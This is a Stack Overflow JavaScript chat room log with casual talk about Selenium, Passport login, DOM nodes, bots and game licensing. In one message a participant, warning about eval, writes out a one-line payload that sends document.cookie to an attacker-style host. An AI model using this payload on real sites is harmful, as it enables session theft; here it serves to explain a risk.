« first day (1345 days earlier)      last day (3604 days later) » 
00:00 - 14:0014:00 - 00:00

12:02 AM
@BenjaminGruenbaum you've used Selenium, correct?
 
someone pinged me.. I clicked it it didnt take me to it
oh wait I see it now
 
0
Q: Echo content on the same line

DJDavid98I've been looking through the documentation but found nothing. Basically, I'm trying to echo the following: Here v0.8.7 should be a link, but when I try to echo the string using .echo(string,{raw:true}) the ASCII art gets distorted: term.echo( ' __ _____ ________ ...

 
@rlemon haha really? I need to play it still
I figured you would like it though
 
playing it right now
 
ugh Im still getting my arcade in order
almost done
5 days of working on it
 
12:10 AM
@SomeKittensUx2666 yeah
 
Any good place to get started? Or just go with the docs?
I have to do some Selenium testing for a code challenge Mashape gave me
 
Yeah, just look at the drivers for whatever programming language, it's not hard.
 
bleh... didnt want to get any games during the sale.. cant hold back though
/me adds $50 to steam wallet
 
@Loktar Downloaded Don't Starve. Haven't played it yet.
 
haha wait until you can dedicate some time to it
its crazy addicting
 
12:18 AM
Looks pretty funky
Have you seen Hot Pepper Game Review?
 
nope
these early access games as the main sale items piss me off
 
^^ funny stuff ^^
 
m59
This may be a noob question, but I am in fact new to this. How does SO know who I am whether I log in with google or facebook?
 
What makes you think it does?
 
m59
It did.
 
12:27 AM
What did it do?
 
man finding some crazy cheap games
.61, 0.70, 0.85
 
m59
Nothing in particular. I just log in with either one and it recognizes me just the same.
 
@m59 ...as in your name?
 
m59
as in this account, lol
 
Oh, missed part of your question
You apparently linked both to your account
 
m59
12:29 AM
hmm..
Ohhh, SO is openID
hmm
 
I can use + to select the next element, how can I select the previous one?
<label><span></span></label><input type="checkbox"/>
^ How do I select the span?
 
from the input?
 
yeah
I need to apply different css when the input is checked
(making fake checkboxes)
 
yeah cant think of a way to do it w/o modifying the markup
since there's no previous selector yet
hah interesting
there is this game called Blast em, its .99
but you can buy its source code for a bit extra
have never seen that as an option on a steam game
 
m59
1:00 AM
hah! I just ran into the same problem you had months ago @SomeKittensUx2666 That strange addition to the url after logging in with passport facebook.
 
yep
no way around it
 
m59
hmm...it broke my routing :( I'll have to change the routing then. That's really odd.
 
m59
1:12 AM
well, this didn't work out (as I figured..). It looks like passport doesn't have the right stuff to use facebook/google login interchangeably.
 
Google likes to be weird
This authorization code has been used.
wat
 
Worth following facebook.com/CoderzArt
 
m59
Is it decent if I just take SO's approach and auto assign people a username?
 
@Melvinr Doubtful
@m59 Any idea why anytime I log in, Passport gives 'this authorization code has been used' but the login succeeds?
 
m59
I read something about it yesterday on SO. I can't remember why, though.
@SomeKittensUx2666 what method did you use to get the user info from the server to the angular app?
 
1:27 AM
user hasn't gotten to the angular app yet
 
m59
oh, sorry, unrelated.
I was just wondering in general.
 
I render it on page usually
 
m59
hidden?
 
script.
  var fburl = '#{fburl}';
 
m59
gotcha
 
1:29 AM
Hi
 
Hi
May I ask you a question?
 
Ok, please
 
Where do you come from?
 
oh, I come from uk
and u?
 
oh, really?
 
1:31 AM
yes, u come from uk?
 
oh, no. but, I've been there
 
:), how old are u?
 
19 yrs old
u?
 
I'm your age.
 
@SomeKittensUx2666: I don't understand
 
1:33 AM
How do you think?
4
 
I've seen your profile.
 
Oh, it was express hijacking my app.use calls
 
What do you want?
 
@ThiLK ...and?
 
What?
 
1:36 AM
Huh?
Who?
When?
 
Poodles?
 
wtf?
 
What is this, Invasion Of The 19 Yr Olds?
 
Something like that
asl?
 
1:40 AM
um - 19...
 
You're 19?
 
I am :P
 
Did not know that.
 
I, on the other hand, did.
 
!!play Borderlands 2 or read a book
 
1:43 AM
play Borderlands 2
 
Roger.
 
Steve.
 
2:32 AM
@m59 SYN
 
2:57 AM
I find the best way to get a company's attention is to tweet negative things at them :D
 
@Google Your services are terrible, hire me.
 
It helps to be vaguely specific
Make em wonder what you mean
</rant><sleep>
 
m59
3:45 AM
@SomeKittensUx2666 hm?
@RyanKinal let's play some league :)
 
3:56 AM
@m59 packets, man
 
m59
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic. Technical details Normally when a client attempts to start a TCP connection to a server, the client and server exchange a series of messages which normally runs like this: #The client requests a connection by sending a SYN (synchronize) message to the server. #The server acknowledges this request by sending SYN-ACK back to the client. #The client responds wit...
I don't understand your meaning.
 
SYN means "Are you there?"
ACK is a response "Yes"
I wanted to know if you were around, so I sent you SYN
 
m59
Ohhhhhhh, doh
 
I had an Angular question but I figured it out
now I have a D3 question
 
m59
what was the angular question?
 
4:01 AM
I had a syntax error in my directive
 
m59
oh lol
 
5:08 AM
Hey, guys. Anyone in here able to inform me of exactly what is happening when you call getElementById on a node? Does it return a reference to a DOM object or does it create a javascript object of a similar type to the DOM object (i.e. Node)?
 
...yes?
it's a DOMNode that references the element
 
0
Q: The results of Parse.Query.find is undefined in my cloud function

hanstar17I'm a newbie who just started to use Parse for my casual mobile game. I'm writing a cloud code with which client can request a deck purchase. Since code is important to explain my problems, I moved my questions below the code. I have the following classes : 1. User : coin(Number) 2. Deck ...

 
DOMNode is a javascript object type then?
 
@JosephMarikle Technically, typeof document.getElementById('chat') => object
 
cool... that's getting somewhere. So it is an object, but I can't figure out how that translates to the DOM. If you change an attribute of a DOMNode returned from getElementById, it's reflected in the DOM. I guess What I'm really wondering is how it all works underneath all of the method calls. Is it just an API? I'm frustrated by the fact that I can't find anything explaining the process.
 
5:20 AM
You could think of it like an API.
Have you read MDN?
 
5:50 AM
mornin'
 
6:17 AM
today's goal for me: try to remodel my website for the nth time paletton.com/#uid=71b1L0kllll9IdGfxhwr9payTs+
 
6:32 AM
170m ultrasound link attained!! writing this from ghost town
 
it's starting to get along nice! I have a good feeling for this design
probably too dark tho
can't really tell if this is better or worse
wait... there is a deisgn room on SO, right?
 
7:35 AM
@towc shall i show off too ?
 
@AbhishekHingnikar wasn't my intention...
 
oh okay nvm
@towc nice laptop screen btw :-) 15"
sometihing about those colors bother me
 
@AbhishekHingnikar someone in the webdesign room suggested this codepen.io/Cicada3301/pen/sAhtg
probably the colors look a bit better
 
gave me a siezure instantly argh too friken bright
 
@AbhishekHingnikar I thought it was too dark 0.o
 
7:39 AM
My screen is super bright to begin with.
 
@AbhishekHingnikar oh
 
probably most horrible code i ever wrote
 
 
2 hours later…
10:14 AM
user image
2
This is how wikipedia should be ^
 
@AbhishekHingnikar Nice
Did you do that?
 
nope
found on dribble ages ago.
but i can do it in css lol
 
@towc ugly as shit
 
@Mosho perfect
@AbhishekHingnikar it would be easy to create some sort of extension to do that...
 
@towc nope
the maps, the HQ images
and it will basically be a different app cause wikipedia's own markup sucks ass
 
10:27 AM
@AbhishekHingnikar there must be some location indicator in the wiki
 
@twoc its very primitive
here for example ^
 
well, you're free to change it theorically
 
I can make a custom one but changing all pages to that will be a pita in pita :P
 
@AbhishekHingnikar you could start a massive wiki cleanup project!
someone needs to do it anyway
you'll be remembered by the grandchildren of your grandchildrens for this
 
@towc i have 3 huge projects on my arms atm sorry cant do
 
10:36 AM
@AbhishekHingnikar obviously not now
but maybe in a few decades
 
after them i will be mantaining them so still no.
oh in a few dacades hell yes
 
I'm trying to scrape some javascript code and the data I want is a string wrapped in single quotes. I have managed to find it. Is eval an appropriate solution to parsing it?
 
if you can trust it
 
I'm grepping until a comma or a right parenthesis. What's the worst that could happen?
 
depends on where you are running it
but if it's any random code, lots of bad stuff can happen
 
10:48 AM
in my browser, and I'm scraping a legitimate page
@Mosho even if the code I eval cannot contain right parentheses?
 
Caprica's dead?
 
@SecondRikudo why do you think?
 
!!who killed you
 
Because she isn't here?
 
@JanDvorak sure, depends on how you use it
 
10:52 AM
@SecondRikudo she probably just went to the bathroom, give her some time
 
Jekyll or Php ?
 
@AbhishekHingnikar ask caprica when she finishes
 
@Mosho value = eval(somethingWithoutRParen)
 
if you don't know anything about the code for sure
then I bet something can happen
 
example of a dangerous value?
 
11:02 AM
@JanDvorak don't know the context (rest of your code) and am not a hacker
 
Ok, thanks. Time for plan B
 
/some/url?amount=var i=new Image;i.src='http://badguy.ru/x?' + document.cookie;
that would steal a cookie
but it's obviously not your use case
 
Good catch.
But... if you can rewrite the victim's incoming traffic, you can also scrape the cookies directly
TIL window.DOMParser
 
@towc by the time i will be done wriitng my own static site generator
using zombiejs and jade and express
 
11:20 AM
codepen.io/Cicada3301/pen/hfxnI probably not the best loader but hey! It's something!
 
@AbhishekHingnikar looks cool!
 
Thoughts of this boney head
da hell?
 
11:38 AM
TIL that anchor elements that are not inside a document don't have their href property set.
 
0
Q: Turning asynchronous code to synchronous code in NodeJS?

Joel MurphyI'm writing a script to convert properties within JSON files into a mysql schema. The problem I'm facing is that the code I've written is executing in blocks, rather than sequentially. As an example: 111 222 333 I'd like the order of execution to be like this instead: 123 123 123 E...

 
@JanDvorak how can' t they be inside a document?
 
$("<div>").html("<a href='something'>")
 
@JanDvorak it's still inside of the document
 
which document?
 
11:48 AM
also... $('<div>')? shouldn't it be $('div')?
 
@towc No
 
I mean, as a child
 
$("<div>") means that you create a node, and that it isn't part of the document yet.
$("div") will select all divs.
 
@SecondRikudo didn't even know that! Now it makes sense
 
@towc That's why you can sometimes see things like
$("<button class='crap'>Please do not do this...</button>").appendTo(someForm);
 
11:51 AM
@SecondRikudo actually never seen that
 
@towc You're lucky then :)
 
12:02 PM
grunt + jekyll = epic puke.
i think bash files or simple python scripts will be much bettar !
 
12:26 PM
was the chat down only for me?
 
Ya chat died for a bit
Anyone here experienced with nodejs?
 
ask your question
 
i have some question about bot
can i run same bot with node.js? at vpn
 
I did here stackoverflow.com/questions/24343157/… I'm just having a real hard time trying to learn the order of execution in nodejs, wasted 2 days with it xD
 
@Justcode shouldn't be too difficult
 
12:33 PM
@JanDvorak actually i copied similar script provided by zirak at githhub
so now my question is how to get here online 24x7
 
@Justcode yes you can with the proper permissions. I'd recommend using github.com/nodejitsu/forever for keeping your script running constantly
 
@Justcode 1) obtain a machine that runs 24x7
 
@JanDvorak i have vpn but its linux
@JoelMurphy ok i will take a look
 
@JoelMurphy readFileSync and synchronous stuff in general is not a good idea for node
 
my friends told me that its impossible to run her 24x7 with node.js
 
12:36 PM
!!s/with .*//
node.js isn't the obstacle. Your hard drive failing eventually is.
or, more likely, your ISP
 
youtube.com/watch?v=GgZYCj39M38 <- Lol if u know german probably this is more hillarious
 
german lol
learn english first XD
(no offense meant)
 
@JanDvorak thanx.so you have any idea how caprica works 24x7?
 
@AbhishekHingnikar yeah? try doing the same with them
 
@Justcode she doesn't.
 
12:39 PM
@Mosho I tried using the asynchronous version (readFile) instead, but the order in which code runs is not what I want :/ hmm
 
Right now she's dead, for example
 
@AbhishekHingnikar "uploaded by Justin Bieber"
 
@FlorianMargaine dude i mean the gruntfile syntax is horrible
even bash reads better then that.
 
45 secs ago, by Florian Margaine
@AbhishekHingnikar yeah? try doing the same with them
 
12:40 PM
@JanDvorak almost. what i think is they have one pc running on browser with scripts may be i am wrong!
 
@FlorianMargaine why waste time and not just use pure jekyll ?
 
@Justcode correct
 
@JanDvorak ok got it thanks
 
we're planning to migrate her to node.js, though
 
yes, i know mikedidthis told me many days ago.That's why i was asking to run her through node.js
 
12:43 PM
@JanDvorak Like they're "planning" to build a subway in Tel Aviv? :P
 
@JoelMurphy you can use promises to chain the file reads
 
@SecondRikudo never heard of that plan, sorry
 
@SecondRikudo nope, some code is already written
 
@JanDvorak Exactly.
 
she already showed up in the sandbox room
plugins are being converted, mainly
 
12:44 PM
@FlorianMargaine Ooh, nice. What's missing so far?
Plugins?
 
yeah
@SomeGuy what's the current progress?
 
1:01 PM
looking at any element in the dom tree - is there any unique number / identifier to each node ? ( assuming no ID )
 
hello
 
@RoyiNamir no. You can generate IDs, though
 
I was studying NaN
 
0
Q: SAILS 0.10: Async & Promise issue when save to database

user3741665It seems I have an issue with async on promise. I have tested with sails-mysql, sails-mongo, sails-postgres version 0.10-rc-XX and the problem is happen. But when I use sails-disk, there's no problem. Look my comment below var storeInvoiceDetail = function( detail ) { return function( cb ) { ...

 
and you can test DOM nodes for identity
 
1:02 PM
I have a bit of confusion
 
tnx Jan
 
I studied a function called isNaN //is not a number
 
@RoyiNamir var elems = document.body.getElementsByTagName("*");
 
Mosho - how that helps ?
 
the index is unique for each node
 
1:03 PM
what confuses me is why don't we just have isN? //is number
 
but if someone remove a node , then it can't be compared to a previous state
 
@AwalGarg what would that do?
@RoyiNamir it can
 
@AwalGarg !isNaN
 
!!> var n=10; typeof n
 
@JanDvorak checking if something is something makes more sense then checking if it is not something, isn't it?
@Mosho oh, ok. Thanks.
 
1:05 PM
!!> var n=10; !isNan(n)
 
@JanDvorak How excatly - I have 3 divs. div 1=0 , div 2=1 , div 3=2. now I remove the middle div. now div 3 is at index 2.
 
they're just the same
 
it was index 3 before that.
I cant use it.
 
@RoyiNamir it's the same object as before, it's just moved
 
wait, second is also a room owner?
hmm. bye
thanks again.
 
1:06 PM
getElementBySomeKindOfFunction(".....").remove()
 
1:19 PM
@SomeGuy how was the IIT JEE Result ? ps - youtube.com/watch?v=uaCYeQ9FtSI
 
1:35 PM
hi
console.aws.amazon.com/iam/home?#security_credential using an access can i let other users upload files to my account or do i need separate keys for separate users
 
now, this looks cool! codepen.io/Cicada3301/pen/hfxnI
try playing around with ctx.lineWidth for more coolness!
or any variable in the first lines of js really
 
I would like some worth of advice. I've a github project where I have published a game I made. The game has become quite popular, and now I want to prevent people of hosting my game on their own website.

Should I remove the code from github? Or could I just put some license on it. I like it if people contribute to the project, but I don't want people to steal my game, make it better, and make money from it on their own website.
 
m59
That's bad philosophy, isn't?
 
@90intuition that's the whole point of github: showing your code to make it better with others
put a copyright on it or smth
 
m59
"I don't want people to work, provide a better service, and make money." hmm....
 
1:50 PM
@m59 Well, you wouldn't hate it, if someone would steal your idea, and makes money from it ?
 
m59
Not really.
Money isn't very important to me. I like the idea that I contributed to people's enjoyment and well-being.
 
I just thought about putting this in the readme of github:

© Kasper Peulen 2014
You can make a local copy of this game, you can modify the code locally or in your github fork, but you are not allowed to publish it on your own public website.
Feel free to write a pull request and contribute to this project by fixing issues or by creating new levels.
You are allowed to use the geogebra template I wrote to make your own geogebra applets.
 
m59
I've got one heck of a content manager that I don't have time to work on. If someone stole that, improved it and made money from it, I'd buy it, lol.
 
@m59 well, I think you will talk differently if you had a huge study debt and were unemployed
 
m59
I wouldn't have debt and be unemployed :)
Where do you live?
 
1:53 PM
the netherlands
 
the question i put up is are you making money?
 
@shortCircuit I don't make money.
 
you plan under being in debt!
 
But if I could improve the game, I would consider putting ads on it, and make money from the game.
 
icy..
 
m59
1:55 PM
@90intuition I'm pretty sure there are plenty of jobs in the netherlands.
 
@90intuition can I see the game?
 
@m59 yeah sure, but I would like to make money with something I love to do, making games.
 
m59
Ahhhh, so there's the issue.
 
oh! that one
I don't think you should git it
you should sell it to schools or smth
mine for example would be really interested
 
m59
1:57 PM
Again, you're saying people shouldn't do a better job than you and make money, just because you have debt and refuse to pay it off unless you get your dream job.
Not really a plan for happiness.
 
@m59 still, it's fair and he deserves it
 
the other way .. a commercial app with free source code ... i never heard of such an app before ..
 
m59
I sort of just got my dream job and I got it by going back to work as a waiter making $10 / hour until the right thing came along. It so happens I met some guys my second day of work that I ended up getting hired by months later.
 
oh wait, I just made money, haha, $5 donation ! first dollars I made in long time !
 
1:59 PM
cool
 
00:00 - 14:0014:00 - 00:00

« first day (1345 days earlier)      last day (3604 days later) »